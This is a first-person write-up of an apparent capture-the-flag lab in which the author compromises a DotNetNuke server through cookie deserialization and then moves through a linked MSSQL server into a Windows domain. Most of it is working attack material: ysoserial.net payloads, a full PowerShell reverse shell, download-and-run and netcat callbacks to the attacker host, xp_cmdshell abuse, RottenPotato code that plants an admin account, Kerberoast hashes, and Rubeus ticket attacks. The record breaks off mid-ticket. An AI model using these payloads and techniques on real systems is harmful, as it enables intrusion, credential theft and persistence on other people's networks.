It finds some interesting stuff, mainly:

1 /Portals/_default/Cache/ReadMe.txt: DotNetNuke default page found. Look for


an admin interface on /tabid/19/, /tabid/36/ or enumerate numbers to identify
logins/content.

However, it doesn't contain anything:

1 This directory is used for file-based cache synchronization on a web farm.


It is also used for serialized cache objects that are persisted to disk.

Deserialisation

This module reveals how it identifies the version. It works by requesting this host:
http://10.10.110.10/Documentation/License.txt

And then uses the following Ruby to get the version by running an if over the
years:
1 if year >= 2018
2  print_warning(
3    %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
4 Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
5 Try setting target 4 and supply a file of of verification codes or specifiy
valid Key and IV values.")
6 )
7 datastore['TARGET'] = 3
8 elsif year == 2017
9 print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require
ENCRYPTED')
10 datastore['TARGET'] = 2
11 elsif year < 2017 && year > 2008
12 print_good("DNN Version Found: v5.1.0 - v9.0.1")
13 datastore['TARGET'] = 1
14 elsif year == 2008
15 print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not
vulnerable).")
16 datastore['TARGET'] = 1
17 else
18 print_warning("Could not determine DNN version. Target may still be
vulnerable. Manually set the Target value")
19 end
20 end

Metasploit lands on: [!] DNN Version Found: v9.0.1 - v9.1.1 - May require

ENCRYPTED from the year 2017 , which can be seen in the file:
1 DotNetNuke - http://www.dotnetnuke.com
2 Copyright (c) 2002-2017
3 by DotNetNuke Corporation
4
5 Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
6
7 The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
8
9 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

I messed with a lot of stuff within the module


( windows/http/dnn_cookie_deserialization_rce ), here was the output of my last
run:

1 [*] Trying to determine DNN Version...


2 [*] Checking version at /Documentation/License.txt ...
3 [!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
4 [*] Checking for custom error page at: /_ ...
5 [+] Custom error page detected.
6 [*] Powershell command length: 2297
7 [*] Payload Object Created.
8 [*] Started reverse TCP handler on 10.10.14.9:80
9 [*] Sending Exploit Payload to: /_ ...
10 [*] Exploit completed, but no session was created.

I found this: https://gist.github.com/pwntester/72f76441901c91b25ee7922df5a8a9


e4

This has some example payloads, notably:

1 <profile>
2    <item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Uti
lities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
3        <ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
4            <ExpandedElement />
5            <ProjectedProperty0>
6                <MethodName>PullFile</MethodName>
7                <MethodParameters>
8                    <anyType
xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
9                    <anyType
xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
10                </MethodParameters>
11                <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
12            </ProjectedProperty0>
13        </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
14    </item>
15 </profile>

This can be modified to:

1 <profile>
2    <item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Uti
lities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
3        <ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
4            <ExpandedElement />
5            <ProjectedProperty0>
6                <MethodName>PullFile</MethodName>
7                <MethodParameters>
8                    <anyType
xsi:type="xsd:string">http://10.10.14.9/ASPX_Shell.aspx</anyType>
9                    <anyType
xsi:type="xsd:string">C:\inetpub\wwwroot\DotNEtNuke\mez0.aspx</anyType>
10                </MethodParameters>
11                <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
12            </ProjectedProperty0>
13        </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
14    </item>
15 </profile>

The path was identified by downloading the corresponding version from GitHub
and checking that the Documentation/License.txt path matched up to the location
on the server. As it is, the above should be correct.

However, it doesn't work.

Code Execution

Starting with this shell, I edited the first line:

1 $socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);


2 if($socket -eq $null){exit 1}
3 $stream = $socket.GetStream();
4 $writer = new-object System.IO.StreamWriter($stream);
5 $buffer = new-object System.Byte[] 1024;
6 $encoding = new-object System.Text.AsciiEncoding;
7 do
8 {
9 $writer.Flush();
10 $read = $null;
11 $res = ""
12 while($stream.DataAvailable -or $read -eq $null) {
13 $read = $stream.Read($buffer, 0, 1024)
14 }
15 $out = $encoding.GetString($buffer, 0,
$read).Replace("`r`n","").Replace("`n","");
16 if(!$out.equals("exit")){
17 $args = "";
18 if($out.IndexOf(' ') -gt -1){
19 $args = $out.substring($out.IndexOf(' ')+1);
20 $out = $out.substring(0,$out.IndexOf(' '));
21 if($args.split(' ').length -gt 1){
22                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
23                $pinfo.FileName = "cmd.exe"
24                $pinfo.RedirectStandardError = $true
25                $pinfo.RedirectStandardOutput = $true
26                $pinfo.UseShellExecute = $false
27                $pinfo.Arguments = "/c $out $args"
28                $p = New-Object System.Diagnostics.Process
29                $p.StartInfo = $pinfo
30                $p.Start() | Out-Null
31                $p.WaitForExit()
32                $stdout = $p.StandardOutput.ReadToEnd()
33                $stderr = $p.StandardError.ReadToEnd()
34                if ($p.ExitCode -ne 0) {
35                    $res = $stderr
36                } else {
37                    $res = $stdout
38                }
39 }
40 else{
41 $res = (&"$out" "$args") | out-string;
42 }
43 }
44 else{
45 $res = (&"$out") | out-string;
46 }
47 if($res -ne $null){
48        $writer.WriteLine($res)
49    }
50 }
51 }While (!$out.equals("exit"))
52 $writer.close();
53 $socket.close();
54 $stream.Dispose()

Next, create a base64 blob out of it, like this:

1 cat reverse.ps1|iconv -t UTF-16LE|base64 -w0

This will produce a chunky piece of base64 , which can then be passed into
ysoserial.net :

1 .\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -


EncodedCommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA="

With that, request a 404 on the web app, and send this payload in the
DNNPersonalization parameter.

And then:
1 listening on [any] 443 ...
2 connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 49989
3 whoami
4 nt authority\network service

This shell is pretty dire, can I upgrade it? Before moving onto a meterpreter , I'll
try get a nishang shell.

Nishang doesn't work, its too long when encoded:

1 HTTP/1.1 400 Bad Request


2 Content-Type: text/html; charset=us-ascii
3 Server: Microsoft-HTTPAPI/2.0
4 Date: Mon, 13 Apr 2020 10:01:16 GMT
5 Connection: close
6 Content-Length: 346
7
8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
9 <HTML><HEAD><TITLE>Bad Request</TITLE>
10 <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii">
</HEAD>
11 <BODY><h2>Bad Request - Request Too Long</h2>
12 <hr><p>HTTP Error 400. The size of the request headers is too long.</p>
13 </BODY></HTML>

Next, I'll try debug why the DownloadString isn't working.

DownloadString()

Whilst in the shell, I ran this:

1 powershell.exe -ep bypass iex (New-Object


Net.WebClient).DownloadString('http://10.10.14.9/test')

Which actually did the request:

1 connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 50003


2 GET /test HTTP/1.1
3 Host: 10.10.14.9
4 Connection: Keep-Alive
Passing this into ysoserial.net :

1 .\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass


iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/test')"

And dropping that in the request:

1 listening on [any] 80 ...


2 connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 50007
3 GET /test HTTP/1.1
4 Host: 10.10.14.9
5 Connection: Keep-Alive

And trying to serve nishang :

1 .\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass


iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/Invoke-
PowerShellTcp.ps1')"

Well it did the request, but no shell:

1 10.10.110.10 - - [13/Apr/2020 11:15:46] "GET /Invoke-PowerShellTcp.ps1


HTTP/1.1" 200 -

DownloadFile()

With this, I was able to get nc64.exe on the box:

1 .\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass


invoke-webrequest -uri http://10.10.14.9/nc64.exe -outfile C:\dotnetnuke"

c:\dotnetnuke is where the server is hosted. So, it makes sense I can write
there.

Now, using this:


1 c:\dotnetnuke\nc64.exe -nv 10.10.14.9 443 -e powershell.exe

To speed this up, this works:

1 .\ysoserial.exe -p DotNetNuke -m run_command -c "cmd /c


c:\dotnetnuke\nc64.exe -nv 10.10.14.9 443 -e powershell.exe"

Exploring 10.10.110.10

Now that I am on the box, I need a few things.

Flags
Administrator
Persistance

Checking the c:\dotnetnuke directory reveals the first flag:

1 Cyb3rN3t1C5{De$3R!al!z@ti0n}

A friend also recommended this: https://github.com/NetSPI/PowerUpSQL

Enumerating MSSQL

Getting it on the box:

1 invoke-webrequest -uri http://10.10.14.9/PowerUpSQL.ps1 -outfile


PowerUpSQL.ps1

Import it:

1 import-module .\PowerUpSQL.ps1

Using this command, I was able to identify a linked server:


1 Get-SqlServerLinkCrawl -Verbose

The response looks like this:

1 Version     : SQL Server 2016


2 Instance   : CYWEBDW\SQLEXPRESS
3 CustomQuery :
4 Sysadmin   : 0
5 Path       : {CYWEBDW\SQLEXPRESS}
6 User       : WORKGROUP\CYWEBDW$
7 Links       : {m3sqlw.m3c.local}
8
9 Version     : SQL Server 2016
10 Instance   : M3SQLW\SQLEXPRESS
11 CustomQuery :
12 Sysadmin   : 1
13 Path       : {CYWEBDW\SQLEXPRESS, m3sqlw.m3c.local}
14 User       : sa
15 Links       :

Enable XP_CMDSHELL

As I am sa , I am able to enable xp_cmdshell :

1 osql -E -S "CYWEBDW" -Q "EXECUTE('sp_configure


''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"

This will output the following:

1 Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE


2 statement to install.

This then allows me to execute commands on the linked databases. Testing this
with whoami :

1 osql -E -S "CYWEBDW" -Q "EXECUTE('xp_cmdshell whoami') AT


[m3sqlw.m3c.local];"
The output of this will be:

1 output                                                                    
   
2                                                                            
 
3                                                                            
 
4                                            
5 ---------------------------------------------------------------------------
---
6       --------------------------------------------------------------------
---
7       --------------------------------------------------------------------
---
8       -----------------------------------
9 m3c\svc_sql                                                                
 
10                                                                            
 
11                                                                            
 
12                                            
13 NULL                                                                      
   
14                                                                            
 
15                                                                            
 
16                                            
17
18

Command Execution on m3sqlw

To get onto m3sqlw , the best way is to exploit the linked database and upload
my own beaconing.exe compiled binary.

Upload it:

1 osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP


-NonI -c Invoke-WebRequest -Uri http://10.10.14.9/shelly.exe -OutFile
c:\users\public\documents\shelly.exe''') AT [m3sqlw.m3c.local]"

Then execute it for a shell:


1 osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -c
Start-Process -NoNewWindow -FilePath c:\users\public\documents\shelly.exe -
ArgumentList ''''10.10.14.9 80''''''') AT [m3sqlw.m3c.local]"

Shell:

1 listening on [any] 80 ...


2 connect to [10.10.14.9] from (UNKNOWN) [10.10.110.250] 57999
3 Windows PowerShell
4 Copyright (C) 2016 Microsoft Corporation. All rights reserved.
5
6 PS C:\Windows\system32>
7 whoami
8 PS C:\Windows\system32> whoami
9 m3c\svc_sql

Flag:

1 Cyb3rN3t1C5{Sql$erv3rL!nkCr@wl}

Rooting 10.10.110.10

I lucked out and landed as SYSTEM some how. But, I know the route is
potato.exe so i cant be bothered.

Download this: https://github.com/foxglovesec/RottenPotato

And then add then replace this function:

1 public void TokenRelay(BlockingCollection<byte[]> hashesIn,


BlockingCollection<byte[]> hashesOut)
2       {
3            while (bContinueServer)
4           {
5
6                byte[] out_buffer = null;
7                byte[] hash = hashesIn.Take();
8                InitializeServer(hash, out out_buffer, out bContinueServer);
9                hashesOut.Add(out_buffer);
10                if (bContinueServer)
11               {
12                    hash = hashesIn.Take();
13                    InitializeServer(hash, out out_buffer, out
bContinueServer);
14
15                    ImpersonateSecurityContext(ref _hServerContext);
16                    // The above is just easier
17                    IntPtr hToken = IntPtr.Zero;
18                    mygetuser();
19
20                    QuerySecurityContextToken(ref _hServerContext, out
hToken);
21
22                    using (WindowsImpersonationContext context =
WindowsIdentity.Impersonate(hToken))
23                   {
24                        // add a new admin user
25                        string Name = "mez0";
26                        string Pass = "Password123!";
27
28                        try
29                       {
30                            DirectoryEntry AD = new
DirectoryEntry("WinNT://" +
31                                                Environment.MachineName +
",computer");
32                            DirectoryEntry NewUser = AD.Children.Add(Name,
"user");
33                            NewUser.Invoke("SetPassword", new object[] {
Pass });
34                            NewUser.Invoke("Put", new object[] {
"Description", "Suck my plums!" });
35                            NewUser.CommitChanges();
36                            DirectoryEntry grp;
37
38                            grp = AD.Children.Find("Administrators",
"group");
39                            if (grp != null) { grp.Invoke("Add", new
object[] { NewUser.Path.ToString() }); }
40                            Console.WriteLine("Account Created
Successfully");
41                            Console.WriteLine("Press Enter to
continue....");
42                       }
43                        catch (Exception ex)
44                       {
45                            Console.WriteLine(ex.Message);
46                       }
47                   }
48
49                    /*
50                    if (V.have_seimpersonate)
51                    {
52                        QuerySecurityContextToken(ref _hServerContext, out
hToken);
53                        ImpersonateLoggedOnUser(hToken);
54                    }
55                    */
56
57                   // Console.WriteLine("BOOM!... Sleep: {0}msec",
V.sleep_time);
58                   // Thread.Sleep(V.sleep_time);
59
60                   // hashesOut.Add(new byte[] { 99 }); // if finished pass
99
61               }
62           }
63       }

Whilst on the host, mimikatz wasn't letting me dump creds:

1 ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Sharphound Analysis: m3c.local

Once on the box, I ran sharphound and took a look through bloodhound . I found a
fairly obvious route:

svc_sql has the AllowedToDelegate permission, which means:


The user SVC_SQL@M3C.LOCAL has the constrained delegation privilege
to the computer M3WEBAW.M3C.LOCAL. The constrained delegation
primitive allows a principal to authenticate as any user to specific services
(found in the msds-AllowedToDelegateTo LDAP property in the source node
tab) on the target computer. That is, a node with this privilege can
impersonate any domain principal (including Domain Admins) to the specific
service on the target host. One caveat- impersonated users can not be in the
"Protected Users" security group or otherwise have delegation privileges
revoked. An issue exists in the constrained delegation where the service
name (sname) of the resulting ticket is not a part of the protected ticket
information, meaning that an attacker can modify the target service name to
any service of their choice. For example, if msds-AllowedToDelegateTo is
“HTTP/host.domain.com”, tickets can be modified for LDAP/HOST/etc.
service names, resulting in complete server compromise, regardless of the
specific service listed.

So, the next step is Constrained Delegation .

Constrained Delegation

From Harmj0y :


In essence, constrained delegation is a way to limit exactly what services a
particular machine/account can access while impersonating other users.

The ‘service’ specified is a service principal name that the account is


allowed to access while impersonating other users. This is
HOST/PRIMARY.testlab.local in our above example.

This is a huge topic and that post looks over S4U2Self, S4U2Proxy, and Protocol

Transition .

The following is from the abuse info of Bloodhound :


Abusing this privilege can utilize Benjamin Delpy’s Kekeo project, proxying in
traffic generated from the Impacket library, or using the Rubeus project's s4u
abuse. In the following example, victim is the attacker-controlled account
(i.e. the hash is known) that is configured for constrained delegation. That is,
victim has the "HTTP/PRIMARY.testlab.local" service principal name (SPN)
set in its msds-AllowedToDelegateTo property. The command first requests a
TGT for the victim user and executes the S4U2self/S4U2proxy process to
impersonate the "admin" user to the "HTTP/PRIMARY.testlab.local" SPN.
The alternative sname "cifs" is substituted in to the final service ticket and
the ticket is submitted to the current logon session. This grants the attacker
the ability to access the file system of PRIMARY.testlab.local as the "admin"
user.
1 Rubeus.exe s4u /user:victim /rc4:2b576acbe6bcfda7294d6bd18041b8fe
/impersonateuser:admin /msdsspn:"HTTP/PRIMARY.testlab.local"
/altservice:cifs /ptt

In the above, the /rc4:2b576acbe6bcfda7294d6bd18041b8fe flag is given. As I don't


have the svc_sql hash, I need to grab the ticket instead. As I am already this
user, it should be easy with this command:

1 .\Rubeus.exe kerberoast tgtdeleg /target:svc_sql

Before that, upload rubeus :

1 powershell.exe -c invoke-webrequest -uri http://10.10.14.9:443/Rubeus.exe -


Outfile C:\Users\svc_sql\Documents\Rubeus.exe

And PowerView :

1 powershell.exe -c invoke-webrequest -uri http://10.10.14.9:443/PowerView.ps1


-Outfile C:\Users\svc_sql\Documents\PowerView.ps1

Confirming the service

Before playing with Rubeus , I need to find what service svc_sql is allowed to
delegate to, this can be done with:

1 Get-NetUser -TrustedToAuth

Which outputs the following:

1 logoncount                   : 112
2 badpasswordtime               : 3/26/2020 6:05:01 AM
3 department                   : Service Accounts
4 objectclass                   : {top, person, organizationalPerson, user}
5 displayname                   : svc_sql
6 lastlogontimestamp           : 4/16/2020 10:30:02 PM
7 userprincipalname             : svc_sql@m3c.local
8 name                         : svc_sql
9 objectsid                     : S-1-5-21-340507432-2615605230-720798708-1292
10 samaccountname               : svc_sql
11 codepage                     : 0
12 samaccounttype               : USER_OBJECT
13 accountexpires               : NEVER
14 countrycode                   : 0
15 whenchanged                   : 4/17/2020 2:30:02 AM
16 instancetype                 : 4
17 usncreated                   : 14270
18 objectguid                   : 12abb3f4-7318-4476-b699-00205fac813a
19 lastlogoff                   : 12/31/1600 7:00:00 PM
20 msds-allowedtodelegateto     : {time/m3webaw.m3c.local, time/M3WEBAW}
21 objectcategory               :
CN=Person,CN=Schema,CN=Configuration,DC=m3c,DC=local
22 distinguishedname             : CN=svc_sql\ ,OU=Service
Accounts,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
23 dscorepropagationdata         : 1/1/1601 12:00:00 AM
24 serviceprincipalname         : mssqlsvc/db.m3c.local
25 givenname                     : svc_sql
26 memberof                     : CN=Service Accounts,OU=Security
Groups,OU=m3c,DC=m3c,DC=local
27 lastlogon                     : 4/17/2020 7:29:54 AM
28 badpwdcount                   : 0
29 cn                           : svc_sql
30 useraccountcontrol           : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
TRUSTED_TO_AUTH_FOR_DELEGATION
31 whencreated                   : 1/2/2020 3:39:59 PM
32 primarygroupid               : 513
33 pwdlastset                   : 1/2/2020 10:39:59 AM
34 msds-supportedencryptiontypes : 24
35 usnchanged                   : 192582

The key piece here is:

1 msds-allowedtodelegateto     : {time/m3webaw.m3c.local, time/M3WEBAW}

time/m3webaw.m3c.local will be used during the ptt attack.

With that uploaded, checking if it works:


1 PS C:\users\svc_sql> .\Rubeus.exe
2   ______       _                      
3 (_____ \     | |                    
4   _____) )_   _| |__ _____ _   _ ___
5 | __ /| | | | _ \| ___ | | | |/___)
6 | | \ \| |_| | |_) ) ____| |_| |___ |
7 |_|   |_|____/|____/|_____)____/(___/
8 v1.4.2

Getting the Kerberoast hash

Cool! As I don't have the hash for svc_sql , I can grab that with kerberoast :

1 .\Rubeus.exe kerberoast /target:svc_sql

This gives:

1 $krb5tgs$18$*svc_apache$m3c.local$http/mq.m3c.local*$56F749C3AF30E4A917817076
2CDA0AED$B910B24C3667CFA266FCC16A801CCADBBC08FB9A9B850BD14C697A7A0E145E8C0106
1EC6FE57DF1B81FFB528F3E00C4C59A3B00F504733F6B365F7AB341E0DF87CA6DF28F4D1ABAA7
4B36B8EBB9C08C0F739458C5D1C654EFFE5738A15B401E908DD85AC4E81DD1E4A1EB1CFF5A7A2
1F7CE84CAAB849B9D8FD63445E0CA743577103A8C6B5767EC27E763F2F285F2D4EA174B2CF580
8B74C86A097D10F35A556AA5CB99236E29B6D4709929B86D4827D22E59277544793C599F9BFB7
2CE46B47B4E540198E54484B8F24B62A4E02D65121ADF6F5823C06BAC12F0FAAFBF0D38A5B783
4EF84467DDAD1EECC3B116C60446A4A36DC7FC6D51CB57F121996E3E5AA21552FCE09B5B88101
B3A5D16C80022E54ACBFFC90896CCB307B8BBAF918507F9EF44108C4C259A1B331C108590A288
E50AD4269F3936892D6D53A4E4D0EC2657DF6E37C94BAD4EC4C366813BAC2A47602AC4D2EB301
3946AA728C8CF2B02C1C70DAE16C1776ECE109C339965A734A1447636F081300EA449B72778E9
619F7D2FFAE18E5B9D77AF0978B089DED28D53D04EA86DA12C6E7E68B08FC30363410F4FC2DD1
F4F000919FAE47F6931B91F28A440EA529068D4BBEDDAFF6ECFA3A4F17801F376D3A7C55160A4
39C4D44D9C1D192DD8D9E2A341244C4B1AC2DFDF272CBDFE93CB02AE78BFC93AEBB7E7D85B46C
5156B59892160B58BC9C77725A37BAC418C48E60529A4F20D630EB9F650AA4CC5451AB784C0D2
3B4D717CCB7482EFCFC6648B3D6ED0B06188855AA888155FDB02EDA8D3F90F210C7330398BFC8
F042491F79EDA1698DEC0F228467D44BFB17AD8B58A36110F81434922712B9E1512359D6623F0
3C64036C44D46222B8AE8F56F1AB080D2810261FBD8E9D4AD0A461A7D821A59C02C4D7F6A11FB
1E085128A3565DD7DF43E75CCD93F3D792B366173721589B5BA108ECBF25C809096A382F2693F
3AE89A8CB8CA7F6D7DAA0E5C2164B0DEE73347160118D36B816F20E12A58AE96D0A0A8BEF296D
247217622C495536549FC894138E9549425C4C55758A3E21B05EB04175EE31A954D4C909C7163
73946A29FCEF93EDD1D4F2B711909B1038E5D46D0FE08F8673E23D60D10CD8F62D336083E5020
86DB8B409612B65F0A3625E6743DFA2F8E1FCB5A4D1F59F9E6CD8302A8CD2491AA062964D51EE
8462ABADA8B2BB840EE26FD0AA813E8BD36387814902C66933DAED0D40DC99842D6758D18EF2E
90023FB3843F1B92A02D5E47F2BB9BABA14A300457F478BEEE57F18FCA1A27954819518BB63D5
3A77A081AABBE4466D02B203D5DD2C3C05B96237F7F519DA284192279E940080BDADF2A195008
C2EE6871398CCDAEB8D410F570122E9C590D342A0155F1D3DECFA9FF2509E1E53F84D6AA064E2
CB1FF9268D53286707698CFCE413EA8BBCEC3D2815F0B79EF9E2F332F95F516505676
Getting the Base64 ticket

This will be subject to cracking, but not yet. Next, grabbing a ticket. This is easily
done with:

1 .\Rubeus.exe tgtdeleg

A chunky piece of base64 is produced:

1 doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygA
wIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA60gq87ly3
u9OT8wPHl6/3MAwhPmmLV3jv9ahROtOSiE/ah5c8jp/MBqkBfOUnmTZNDrTeT90RejTIhXE57yPod
wcqDxjfU+clLwg9FaNneq5FUnUUuQ6B46G0KUr9iSoObRMOJYYi1pNeVHIc9W8O2OKn9C/GLaBMYs
0+QyMG+J4gkS2kFIkIwV921xODSHAawh3r8VN8Oyq7hIE6T8q+0W7jRCPhBgkdf1hDkxw3mt9bUAP
rD3U0EaWGsTEV4Cupq0eMqF048Pz5wb+6PlItMhQFbp/WFe8/eRqSkXgBVErwQsrQ9Bxx1JeO+RR9
Sl56dox2NwgANATizVYBVxSs0GlKlVydMO0LuoezyFK4MEu+2/xm4wgrCuDkthh1a8RVGkv1K3hbc
Cj9sauLYmL5IdxzE5HeEg4NVsCC1D8jiO869LCgl9jGW8QQCsLIyTXQ6Yb4bvARijOxMhxuOBNy84
C8vJYnHQOGTfQxG0lX6p3ZV4D3nk11j+tUWmdjHEe0klgwsp8n7oZ9LBYo7Y69xkfeyGk5KSwZ7ly
VQ0j0PzbTJmxzEyN6YREKjni502IU05cEmPYwZaRbanC80F7Eb3LDpB/DHoRN6CXa31eYF3Gy8kfY
Z1oMkcYgz/GF46wCJF9ouXYlWkkC66PQWCl65bAmYvoxOzNOInUZaWy6ZuA1mbyMJZqLe74K8Nfjv
ogKaoYEzazMnypwm4SN0/e/zE3Cu8PCGcGkS1Itp67WWyv74+5yA89JTpgCGVzaK7sR65+okGxZ2C
SuMvyDG5s/xgIHQr0AVkxxuJX9ArOy56RbilxYmvhGnf1Xn4d16W6BnwxRUnxAd+UVshknbBLJ9aY
/i1pOkfHB+612kDcEqjcLjbVvhsAgcF8pd8AFcUg6HY8g67vBs9/hRgyVjrM8F4DWE84HlX7mZ/ya
5mIUVcCpDos3R71Mu4PHHz/wZtt8ZIHkFc1oEOr67itQke05zikOPjPTPlPTHvmZbmRXKDWzFpNQe
YB2CYWWBwN0ujulrKp/lAxPZWbpgkEQzqgnnkhleaNvpPPW7XxNfb7HqUGLtbVX/MrGSoE7k/Zl1x
cx64TgS/+LZZgoGrrwrbcCfd2dTNnWjA83JbCq8CUjwExlrWdUl3BRIA2d6AoEtHE95Uuc3FWmcQJ
tIsJ0A5QtqZxE9NskCR0y0WsV1huHxvMod15qHm2yWZSdMl7C+513gAy3S9Eo4P0/ooTAIAvrmf4c
J6A7J+Lwl9j3MpcaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIJU
w2M3O9tbtg8h1Uftywuw1raEzlwnzh5g5bFM8BQ01oQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkb
B3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA0MTcxMTExMzhaphEYDzIwMjAwNDE3MjEwMDAwWqcRG
A8yMDIwMDQyNDExMDAwMFqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE
9DQUw=

Exploiting Constrained Delegation

Attempt 1

With that, I can now /ptt . There are some important flags here:

/ticket : This is the base64 Kerberos Ticket


/impersonateuser : The user to impersonate
/domain : The domain to authenticate to
msdsspn : The service to delegate to
/dc : The domain controller
/ptt : A pass-the-ticket attack

All together, it looks like this:

1 .\Rubeus.exe s4u
/ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBT
KIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA6
3MkP00gTXk3eKQPGJKfoYjY3I3Bg0T6zCZVoQOLPIWI0qR7oMkgRcV1bQ6iyTdAfbbWeuR/IK7osn
RC4EckM+t7QvA4Qnr0t6EJtFNEexa2NG5F9sOv5tlDVSRmFec2+zvw5CDv+sO9dgnOFCPv9rxW40F
Dyz41ccdLuHiRIUT5IgBfT8FR+KF87vc+fFwVDlbqETlzmXUH0or334+YUMdjJDahw/UZAgZh9/U/
hGpqsHdhujNsgJR+MCARBAuC+1PLtzDrRLFR8/Ay4svRr1KAQN7KVopt2FeMUAtWy2QTHWyMFvl7b
5sR4jk0INj5p97Iy1/c9K8V/H0B56PCcUxib+z2SxYZ0koNgsTRI4VwmLxXG7lNu512/fUrLxpcbP
fnAuGAqZuUAKcZquReDRNp3FaKNSphWoY3nTO2ays4hUq3Skhhn3TybM1yg7l4yzdeS+fbBOJ76O2
RpvaMJk3OjTgbMftyKl3nx8yI4Knlxxj0XixHaS3L2lLGfWeCiRaSnJhRq1A10QA/7IMU+V4MkVLf
3sxz4A1TCESHuO2lWvMud3QACJiQlp+uZc8mzKDSHzq8ZUXfHwUw5GjnsMz+n05o+a5/HiGtTzysX
21IukfnHrGDQd2EHd8XVSfhI5ntxhAny3P8WKcBDy5J3gDLqjGZAQA5TeZril/HKT64uk/S8rmOr5
BSQJGZxXpzMyTs38D1Szi2oGADeSF7mZoN3BS8ebkBgxqxJaOxAnFeGlRjao6je79encUOS/iWmfv
ooGP296u8xB4y6Hki+1MLH7QFN2gVddZ5UTZKsE45qZzixEfOa8qKbejb/dCAgAquNCKpbL/2VGCJ
whPrDVVRDZFNy6DBZ29wZI3GjhcSU/K2JnN8vIe0EpHOaPgHVIF19tGzyioeTZdedjRCC7P6LCEUc
rojWbXJt8bxP3BbJN6Bdp9nwTogKf3OONJhapRn0PfZZQYQdZ0tEd3RNAmqCyWEf5tbUd+wyjwjVE
